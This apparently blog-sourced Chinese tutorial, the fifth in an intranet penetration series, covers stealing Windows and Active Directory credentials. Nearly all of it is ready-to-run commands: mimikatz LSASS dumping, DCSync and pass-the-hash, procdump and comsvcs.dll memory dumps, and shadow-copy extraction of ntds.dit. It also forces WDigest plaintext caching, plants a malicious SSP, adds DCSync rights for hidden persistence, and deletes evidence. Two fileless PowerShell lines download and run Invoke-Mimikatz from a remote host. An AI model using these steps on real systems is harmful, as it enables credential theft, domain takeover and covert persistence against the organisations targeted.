从0到1认识内网渗透5-Windows用户凭据抓取
从0到1认识内网渗透5-Windows用户凭据抓取
内网密码抓取技术在内网渗透中非常重要,账号密码决定后续是否可以进行横向。
抓取密码原理
认证流程
开机以后,SYSTEM会自动调用winlogon.exe程序,这个程序给我们提供了一个用户交互界面,也就是我们的登陆界面
用户交互页面输入密码并点击登陆后,系统将用户输入的明文密码先传递给[Lsass.exe](https://blog.yuzisec.xyz/posts/22f269df.html?highlight= Isass.exe#Lsass-exe)程序,Lsass程序先会将收到的明文账号密码在本地内存中保留一份作为备用,然后会将我们输入的密码进行NTLM-Hash加密,然后Lsass程序会去读取系统中的SAM文件中已经存在的NTLM-Hash的值,进行对比
- 对比相同则认证成功,将user SID \ Group SID 发送给winlogon.exe程序,然后生成会话,进入桌面(因此抓Lsass.exe程序相当于抓明文密码)
- 对比不同则认证失败,系统返回错误提示
在Windows Server 2008 R2之前(未打补丁)系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据
SAM文件
C:\Windows\System32\config\下用于存储本地所有用户的凭证信息(Windows的用户账户数据库,所有用户的登录名及口令等相关信息都会加密保存在SAM中,如果是域环境则保存在域控的ntds.dit 中)文件被锁定,不可直接读取复制等操作
使用存储在SYSTEM注册表配置单元中的密钥,对哈希值进行加密,数据存储格式
1 | 用户名称:RID:LM-HASH值:NTLM-HASH值 |
日常常见的PE启动盘改密码原理实际上就是修改SAM文件内容达到登录系统效果。
SYSTEM文件
C:\Windows\System32\config\下用于系统的注册表配置文件,如果损坏则无法进入系统
SYSTEM注册表配置单元中的密钥可以对SAM和ntds.dit内用户的哈希值进行加密
Ntds.dit文件
C:\Windows\NTDS\下用于域环境中活动目录数据库,包括有关域用户、组和组成员身份的信息,它还包括域中所有用户的密码哈希值,文件被锁定,不可直接读取复制等操作
只存在于域控上,只有可以登录到域的用户才可以访问,若域内用户较多,文件可能会很大,与SAM类似需要使用存储在SYSTEM注册表配置单元中的密钥,对哈希值进行加密
密码抓取工具
Windows密码抓取工具众多,不同的工具的某些功能可能会有重叠
GetPass工具
直接通过抓取lsass.exe进程内存中的明文密码,高版本内存中不存在明文密码(2008以上)
1 | GetPassword.exe |
该工具抓取密码需要高权限(存在UAC验证)
PwDump7工具
可以得到系统中所有账户的NTLM Hash
1 | PwDump7.exe |
该工具抓取密码需要高权限(存在UAC验证)
QuarksPwDump工具
可以得到系统中所有账户的NTLM Hash
1 | 本地密码抓取 |
该工具抓取密码需要高权限(存在UAC验证)
Mimikatz工具
法国人benjamin开发的一款功能强大的轻量级调试工具,功能强大,可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证,还可以执行哈希传递、票证传递或构建黄金票证
模块
privilege(提权模块)
获取debug权限,抓密码等各种操作的必备前置指令,将该进程的权限提升,管理员账户均拥有Debug权限
1 | privilege::debug |
lsadump(与LSA交互)
查看指定域内的指定用户的详细信息,包括Hash值(需要域内的Administrator权限)
1 | lsadump::dcsync /user:用户名或sid /domain:域名 |
- /user 接域用户名或sid,/all就是要全部的
- /domain域名,不填默认为当前域
读取所有用户的Hash(管理员身份)
1 | lsadump::lsa |
- /inject - 注入 LSASS 进程提取凭证数据
- /name - 目标用户账户的帐户名称
- /id - 目标用户账户的 RID(RID为502的帐户是KRBTGT帐户,RID为500的帐户是默认的域管理员账户)
- /patch - 补丁 LSASS 进程
从本地SAM文件中读取密码Hash
1 | token::elevate(需管理员权限,提升至system权限) |
还可以直接从sam.hive和system.hive文件中获得NTLM Hash
1 | lsadump::sam /sam:sam.hive /system:system:system.hive |
bypass LSA Protection(绕过抓lsass.exe程序),微软在注册表项中提供了防止对lsass.exe的注入这时候再尝试会报错ERROR kuhl_m_misc_skeleton; OpenProcess (0x00000005)
mimikatz在配置有miidrv.sys时可以绕过
1 | privilege::debug |
sekurlsa(与lsass.exe内存交互,整个模块需要管理员权限)
获得备份主密钥(没设置,均为一大串零)
1 | sekurlsa::backupkeys |
列出凭证管理器,已缓存的主密钥
1 | sekurlsa::credman |
列出kerberos加密密钥
1 | sekurlsa::ekeys |
输出DPAPI_SYSTEM密文,原文为secret
1 | sekurlsa::dpapisystem |
列出所有可用的密码,windows8.1和windows server2012R2之前的系统会列出明文密码(高版本或低版本打补丁后不会)
1 | sekurlsa::logonpasswords |
当目标机器启用了受保护的 LSASS,抓取密码会报错
LSASS保护
微软在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保护策略,以防止不受保护的进程对 lsass.exe 读取内存和代码注入。注册表添加RunAsPPL键值为1(需重启生效)即可开启LSASS保护
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f |
注册表删除RunAsPPL键值(需重启生效)即可关闭LSASS保护
1 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f |
查看是否开启LSASS保护
1 | reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA |
可以通过mimidrv.sys文件绕过LSASS保护抓取密码,利用mimikatz加载mimidrv.sys驱动
1 | privilege::debug |
列出所有登录用户的kerberos凭证(包括服务和电脑账户)
1 | sekurlsa::kerberos |
获取krbtgt的全部凭证(需要在DC上运行)
1 | sekurlsa::krbtgt |
获取LM和NTLM,本质读取lsass进程运行时的lsasrv.dll文件,lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件
1 | sekurlsa::wdigest |
通过可逆的方式去内存中读取明文密码
1 | sekurlsa::wdigest |
在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据
通过tspkg.dll读取明文密码,tspkg.dll它是SSP的一部分,主要负责与终端服务器通信时的安全认证功能,确保远程连接的安全性
1 | sekurlsa::tspkg |
通过livessp读取明文密码
1 | sekurlsa::livessp |
通过ssp读取明文密码
1 | sekurlsa::ssp |
pass the hash,进行哈希传递
1 | sekurlsa::pth |
- /user - 你想进行假冒的用户名,Administrator 不是唯一一个已知的帐户
- /domain – 域名
- /rc4 or /ntlm (可选的) – 指定用户的 RC4 密钥 或 NTLM 哈希
- /run (可选的) – 需要运行的命令行 – 默认为:cmd ,得到一个 cmd shell
列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在 AD 中的计算机帐户
1 | sekurlsa::tickets |
process(收集进程数据并与进程交互)
列出正在运行的进程(无需管理员权限也可)
1 | process::list |
导出进程列表
1 | process::exports |
导入列表
1 | process::imports |
开始一个进程
1 | process::start |
停止一个进程
1 | process::stop |
冻结一个进程
1 | process::suspend |
从冻结中恢复
1 | process::resume |
以SYSTEM系统权限打开一个新的mimikatz窗口
1 | process::runp |
token(与windows身份验证令牌进行交互,抓取伪造假冒的已存在令牌)
需管理员权限,提升至system权限
1 | token::elevate |
显示当前身份
1 | token::whoami |
列出所有令牌
1 | token::list |
misc(杂项命令)
在管理员禁止使用这三个东西的时候可以强制开出来,如开一个命令行
1 | misc::cmd |
开一个任务管理器
1 | misc::taskmgr |
开一个注册表编辑器
1 | misc::regedit |
加载形式
powershell加载(Invoke-Mimikatz.ps1)(不兼容ps5.0)
无文件落地远程加载
1 | powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.108.224/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug sekurlsa::logonpasswords exit\"" |
文件落地本地加载
1 | powershell.exe "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command \"privilege::debug sekurlsa::logonpasswords exit\"" |
本地加载
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit |
CS插件加载
密码抓取
接下来详细介绍一下工具的抓取过程,主要分为在线抓取和离线抓取
针对SAM文件抓取
在线抓密码(工具直接上传目标机)
1 | mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit |
使用CS在线工具导出也可以实现
1 | hashdump |
离线抓密码(当工具无法上传时)
导出SAM文件和system密钥文件(需要配合密钥才可破解)
注册表导出
1 | reg save hklm\sam sam.hive |
卷影拷贝技术导出
从XP到2003开始,微软向Windows引入卷影拷贝的服务(VSS)这种服务允许系统自动或手动的方式对文件或磁盘卷的当前状态进行备份(快照)无论文件是否正在运行,由于NTDS文件默认被锁定,需要通过卷影拷贝(快照)形式得到文件副本,后对副本进行密码抓取,注意该过程会大量留下日志
- 使用ntdsutil.exe工具导出(成功率高)
ntdsutil.exe工具是一个为活动目录提供管理机制的命令行工具,默认安装在域控上C:\Windows\System32\ntdsutil.exe(2003、2008、2012、2016)+
创建NTDS快照(若无法执行,可提权至system或利用以system的计划任务执行)
1 | C:\Windows\System32\ntdsutil.exe snapshot "activate instance ntds" create |
加载快照到磁盘中
1 | C:\Windows\System32\ntdsutil.exe snapshot "mount {1df43ad3-be91-4c5b-9594-11eaefa63464}" q q |
挂载的目录类似一个完整C盘的文件夹系统
拷贝快照中的ntds.dit文件到桌面
1 | copy C:\$SNAP_202311071544_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit |
拷贝快照中的sam和system文件到桌面
1 | copy C:\$SNAP_202311071544_VOLUMEC$\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM |
1 | copy C:\$SNAP_202311071544_VOLUMEC$\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM |
取消挂载并删除快照(清除痕迹)
1 | C:\Windows\System32\ntdsutil.exe snapshot "umount {1df43ad3-be91-4c5b-9594-11eaefa63464}" "delete {1df43ad3-be91-4c5b-9594-11eaefa63464}" q q |
查询是否有其他快照
1 | C:\Windows\System32\ntdsutil.exe snapshot "List ALL" quit quit |
- IFM方式导出
利用ntdsutil的命令创建一个IFM的方式获取ntds.dit数据库文件,当使用ntdsutil创建一个IFM时,卷影副本会进行快照、挂载、将ntds.dit和计算机SAM进行复制到目标文件夹中(支持powershell或wmi进行远程执行),首先C盘下创建test目录用于接收文件
1 | mkdir c:\test |
将ntds.dit和计算机SAM进行复制到目标文件夹中
1 | C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full c:/test" q q |
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
1 | dir C:\test\"Active Directory"&&dir C:\test\registry |
删除目录(清理痕迹)
1 | rmdir /s/q c:\test |
- vssadmin工具导出
vssadmin是2008及win7以上系统提供的VSS管理命令行工具,可用于创建或删除卷影副本,列出卷影信息,首先创建一个C盘快照
1 | vssadmin create shadow /for=c:(若无法执行,可提权至system或利用以system的计划任务执行) |
复制快照中的ntds文件
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit |
复制快照SAM文件和SYSTEM文件
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM |
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM |
删除快照(清除痕迹)
1 | vssadmin delete shadows /for=c: /quiet |
不同于ntdsutil挂载,在图形化界面不可见(可通过copy拷贝)
- vssown脚本导出
vssown是一个 vbs 脚本,可以创建和删除卷影副本,首先启动卷影复制服务
1 | cscript vssown.vbs /start(若无法执行,可提权至system或利用以system的计划任务执行) |
创建一个C盘的卷影副本
1 | cscript vssown.vbs /create c |
列出当前所有卷影副本(包括之前方式创建的)
1 | cscript vssown.vbs /list |
复制文件到制定路径
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit |
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM |
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM |
删除卷影副本
1 | cscript vssown.vbs /delete {500A8C17-3C13-4FE5-A1C0-CC2EFAD99DB5}(大括号之间为之前查询的卷影副本的ID号) |
不同于ntdsutil挂载,在图形化界面不可见(可通过copy拷贝)
powershell导出(Copy-VSS.ps1)
导入模块,运行脚本(域控上运行还会自动导出ntds文件)
1 | powershell-import Copy-VSS.ps1 |
导出的SAM和SYSTEM文件需要手动添加hive后缀
导出到本地mimikatz文件夹下进行离线读取
1 | mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit(无需提权,文件统一改成hive结尾) |
针对lsass.exe进程(针对高版本系统明文密码)
在线抓密码(工具直接上传目标机)
利用mimikatz前,优先提升权限
1 | privilege::debug(需要高权限、过UAC) |
获取Hash(读取lsass进程运行时的lsasrv.dll文件,lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件)
1 | mimikatz.exe "privilege::debug" "sekurlsa::msv" exit |
通过可逆的方式去内存中读取明文密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit |
若域管曾经登陆过,可获取域管理员明文密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::kerberos" exit |
通过tspkg.dll读取明文密码(它是SSP的一部分,主要负责与终端服务器通信时的安全认证功能,确保远程连接的安全性)
1 | mimikatz.exe "privilege::debug" "sekurlsa::tspkg" exit |
通过livessp读取明文密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::livessp" exit |
通过ssp读取明文密码(lsass进程运行时除了调用dll外,还会加载ssp)
1 | mimikatz.exe "privilege::debug" "sekurlsa::ssp" exit |
通过所有sekurlsa的方法读取明文密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit |
离线抓密码(当工具无法上传时)(需要高权限)
导出内存数据
- 任务管理器导出lsass.exe内存,任务管理器导出(适用于可以远控桌面时,且需要高权限低权限账户可能无lsass.exe显示)
- procdump工具(微软工具主要用于开发人员确定CPU峰值故障等)
1 | procdump.exe -accepteula -ma lsass.exe lsass.dump(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行) |
- powershell导出(Out-MiniDump.ps1)
1 | powershell-import Out-Minidump.ps1 |
- 通过自带comsvcs.dll导出函数MiniDump实现dump内存
1 | tasklist | findstr lsass.exe(查看lsass进程PID) |
导出到本地mimikatz文件夹下进行离线读取
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit(无需提权,先注入内存,后进行读取) |
针对NTDS文件
模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希,最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据
在线读取
需要有Dcsync同步权限的用户(非必要在域控上)
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息) |
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息) |
离线抓密码(当工具无法上传时)
导出ntds.dit
powershell脚本导出(非卷影拷贝技术,不易产生大量日志)
- Copy-VSS.ps1脚本
1 | powershell-import Copy-VSS.ps1 |
直接导出在当前目录下,包括SAM、NTDS、SYSTEM
- Invoke-NinjaCopy.ps1脚本
1 | powershell-import Invoke-NinjaCopy.ps1 |
msfconsole导出
打开msfconsole利用模块
1 | use auxiliary/admin/smb/psexec_ntdsgrab |
1 | set rhost 192.168.108.16 |
另外也可以使用前面介绍的卷影拷贝技术导出
读取密码
需要ntds.dit文件和system.hive文件,因为system.hive存储着ntds.dit的密钥
secretsdump工具
不仅可以读取账户和机器用户的Hash,还可以读取账户和机器用户的AES key(通过powershell脚本Copy-VSS.ps1导出的ntds无法读取)
1 | secretsdump.exe -system system.hive -ntds ntds.dit LOCAL |
NTDSDumpEx工具
仅读取账户的Hash(包括krbtgt,不包括机器用户),以下情况不能读取
- 通过powershell脚本Copy-VSS.ps1导出的ntds文件无法读取
- 通过powershell脚本 Invoke-NinjaCopy.ps1导出的ntds文件无法读取
- 通过vbs脚本vssown导出的ntds文件无法读取
- 通过vssadmin工具导出的ntds文件无法读取
1 | NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt |
esedbexport和ntdsxtract工具
libesedb用于解析ntds文件,ntdsxtract用于读取解析后的内容(Linux下的工具,建议在python2环境下运行),首先安装libesedb工具
1 | cd libesedb/ |
将ntds.dit文件复制进libesedb-20230318文件夹下
提取ntds文件
1 | esedbexport -m tables ntds.dit |
提取结果保存在ntds.dit.export文件夹下
安装ntdsxtract工具
1 | cd ntdsxtract/ |
将ntds.dit.export文件夹下的datatable.3文件、link_table.5文件和system.hive文件复制进ntdsxtract文件夹下
获取用户的信息
1 | python2 dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout > all_user.txt |
all_user.txt 文件内容如下
获取机器用户信息
1 | python dscomputers.py datatable.3 computer_output --csvoutfile 2.csv |
QuarksPWDump工具
必须先将ntds文件导出(无需导出system文件)
1 | QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit |
powershell脚本DSInternals.psd1
- 在线安装(需要powershell5.0)
1 | Install-Module DSInternals -Force |
- 直接导入(需要powershell4.0)
1 | Import-Module .\DSInternals.psd1 |
需要管理员权限
1 | $key = Get-Bootkey -SystemHivePath 'system.hive' |
读取的内容导出到1.txt中,1.txt的内容如下
另外还可以读取域控信息
1 | Get-ADDBDomainController |
抓取高版本Windows明文密码
低版本系统可以直接通过卸载补丁(KB2971997)解决,其他高版本需要修改Wdigest注册表(管理员权限运行绕过UAC),强制打开高版本系统的缓存WDigest凭据,对于reg add(控制台注册表工具)
/v 指定要添加到指定子项下的项名称
/t 指定项值的数据类型
/d 要分配给添加的注册表 ValueName 的数据
/f 不用提示就强行改写现有注册表项
修改Wdigest注册表
1 | reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential(查询是否存在该值) |
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f(打开WDigest缓存凭据) |
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f(关闭WDigest缓存凭据) |
1 | reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /f(删除对应注册表痕迹) |
2012老系统锁屏后,新系统需要注销后,当用户重新输入密码开启屏幕后再次抓取密码即可看到明文密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit |
内存SSP注入(重启后无效)
正常SSP可以提供本地认证时候对明文账号密码进行记录,我们需要将恶意SSP注入到系统内存中,就可以获取本地的明文账号密码,因为是注入内存所以重启后就失效了(注销仍有效)
mimikatz
1 | privilege::debug |
powershell(Invoke-Mimikatz.ps1)(不兼容ps5.0)
- 无文件落地
1 | powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.108.185/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug misc::memssp exit\"" |
- 文件落地
1 | powershell.exe "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command \"privilege::debug misc::memssp exit\"" |
因为密码在内存中,需要锁屏或者注销用户然后重新登录后,内存中就保留用户刚刚输入的密码了,只需锁屏操作后,等待管理员输入账号密码后在C:\Windows\System32\mimilsa.log内存放明文密码
- 锁屏(内存不会清空)
1 | rundll32.exe user32.dll,LockWorkStation |
- 注销(内存清空,提前留好后门防止下线)
1 | query user(查询登录用户的ID) |
1 | logoff 1(注销对应的ID用户) |
- 重启(内存清空,提前留好后门防止下线)
1 | shutdown -r -t 1(立刻重启,默认1分钟后重启) |
接下来便可以读取明文密码了,有几种方式都可以直接读取
- 直接查看
1 | type C:\Windows\System32\mimilsa.log |
- 计划任务查看
上传1.bat文件,并且用计划任务进行执行
创建计划任务
1 | schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f |
运行计划任务
1 | schtasks /run /i /tn "copy" |
删除计划任务,清理痕迹
1 | schtasks /delete /tn "copy" /f |
查看密码
1 | type C:\Users\Administrator\Desktop\1.txt |
- 创建服务查看
1 | sc create test binpath= "cmd /c copy C:\\windows\\system32\\mimilsa.log C:\\users\\administrator\\desktop\\1.txt" |
启动服务
1 | sc start test |
删除服务,清理痕迹
1 | sc delete test |
查看密码
1 | type C:\Users\Administrator\Desktop\1.txt |
注册表添加SSP(永久生效)
正常SSP可以提供本地认证时候对明文账号密码进行记录,我们需要将恶意SSP(mimilib.dll)添加到注册表中,就可以获取本地的明文账号密码,即使系统重启也会自动加载SSP
首先将恶意SSP(mimilib.dll)复制到C:\Windows\System32目录下(需要高权限)
添加注册表
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f |
需要重启系统,等待管理员输入账号密码后在C:\Windows\System32\kiwissp.log内存放明文密码(提前留好后门防止下线),接下来便可以读取明文密码了,有几种方式都可以直接读取
- 直接查看
1 | type C:\Windows\System32\mimilsa.log |
- 计划任务查看
上传1.bat文件,并且用计划任务进行执行
创建计划任务
1 | schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f |
运行计划任务
1 | schtasks /run /i /tn "copy" |
删除计划任务,清理痕迹
1 | schtasks /delete /tn "copy" /f |
查看密码
1 | type C:\Users\Administrator\Desktop\1.txt |
- 创建服务查看
1 | sc create test binpath= "cmd /c copy C:\\windows\\system32\\mimilsa.log C:\\users\\administrator\\desktop\\1.txt" |
启动服务
1 | sc start test |
删除服务,清理痕迹
1 | sc delete test |
查看密码
1 | type C:\Users\Administrator\Desktop\1.txt |
仿造锁屏钓鱼
有第三方插件可以直接实现,弹出伪造钓鱼认证页面
会自动验证密码真实性
暴力破解Hash
可以通过暴力破解工具,如hashcat等进行暴力撞库
1 | hashcat.exe -a 0 -d 1 -m 3000 --force 7F26CC7A8D7D9F396C4691C0029EBE9F pass.txt -O#LM Hash |
针对域内密码
在线读取
通过上传工具到域控读取(工具容易被杀软拦截,域信息过大容易死机)
直接转储Hash
需要域管权限在域控上执行
mimikatz工具
需要有Dcsync同步权限的用户(非必要在域控上)
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息) |
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息) |
QuarksPWDump工具
必须先将ntds文件导出(无需导出system文件)
1 | QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit |
secretsdump工具
适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)
1 | secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别) |
1 | secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机) |
1 | secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机) |
powershell脚本Invoke-DCSync.ps1
需要有Dcsync同步权限的用户,不限域内机器(只能读取域内用户Hash,无机器用户)
1 | powershell-import Invoke-DCSync.ps1 |
msfconsole读取
将CS会话转移至MSF
1 | hashdump |
1 | use post/windows/gather/smart_hashdump |
远程读取
不需要上线域控,利用其他域内主机远程读取,主要利用Dcsync技术,适用对象(需要能运行DRS服务的对象)包括
- 域内Administrators组内的用户
- 域内Domain Admins组内的用户
- 域内Enterprise Admins组内的用户
- 域控制器的计算机帐户(system用户)
- 权限上具有复制目录更改和复制目录更改所有项
Dcsync(domain Controller synchronization )
Dcsync(domain Controller synchronization )域控同步,在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据(包含用户名密码等)同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync。
Dcsync风险面
- 寻找有权限的用户,可以进行PTH,黄金、白银票据攻击
- 如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
- 可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持(隐匿性高不容易发现)
普通域用户想具有DCSync权限,可以向域内普通用户添加三条ACE(Access Control Entries)
1 | DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) |
也可以通过powershell脚本PowerView.ps1添加
1 | powershell-import PowerView.ps1 |
添加后域内的yao用户的权限
可正常Dcsync
mimikatz工具
模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希,最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据,需要有Dcsync同步权限的用户(非必要在域控上)
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息) |
1 | mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息) |
secretsdump工具
适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)
1 | secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别) |
1 | secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机) |
1 | secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机) |
powershell脚本Invoke-DCSync.ps
需要有Dcsync同步权限的用户,不限域内机器(只能读取域内用户Hash,无机器用户)
1 | powershell-import Invoke-DCSync.ps1 |
读取明文密码
首先需要设置用户可逆加密存储,通过powershell执行(一般在域控上执行,或安装了Active Directory 相关的管理工具的域内主机)
1 | Import-Module ActiveDirectory#导入 Active Directory 模块 |
1 | powershell.exe "Import-Module ActiveDirectory;get-adobject -ldapfilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))'" |
secretsdump工具
适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)
1 | secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别) |
1 | secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机) |
1 | secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机) |
当然也可以通过卷影拷贝技术导出ntds后解密获取明文密码
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。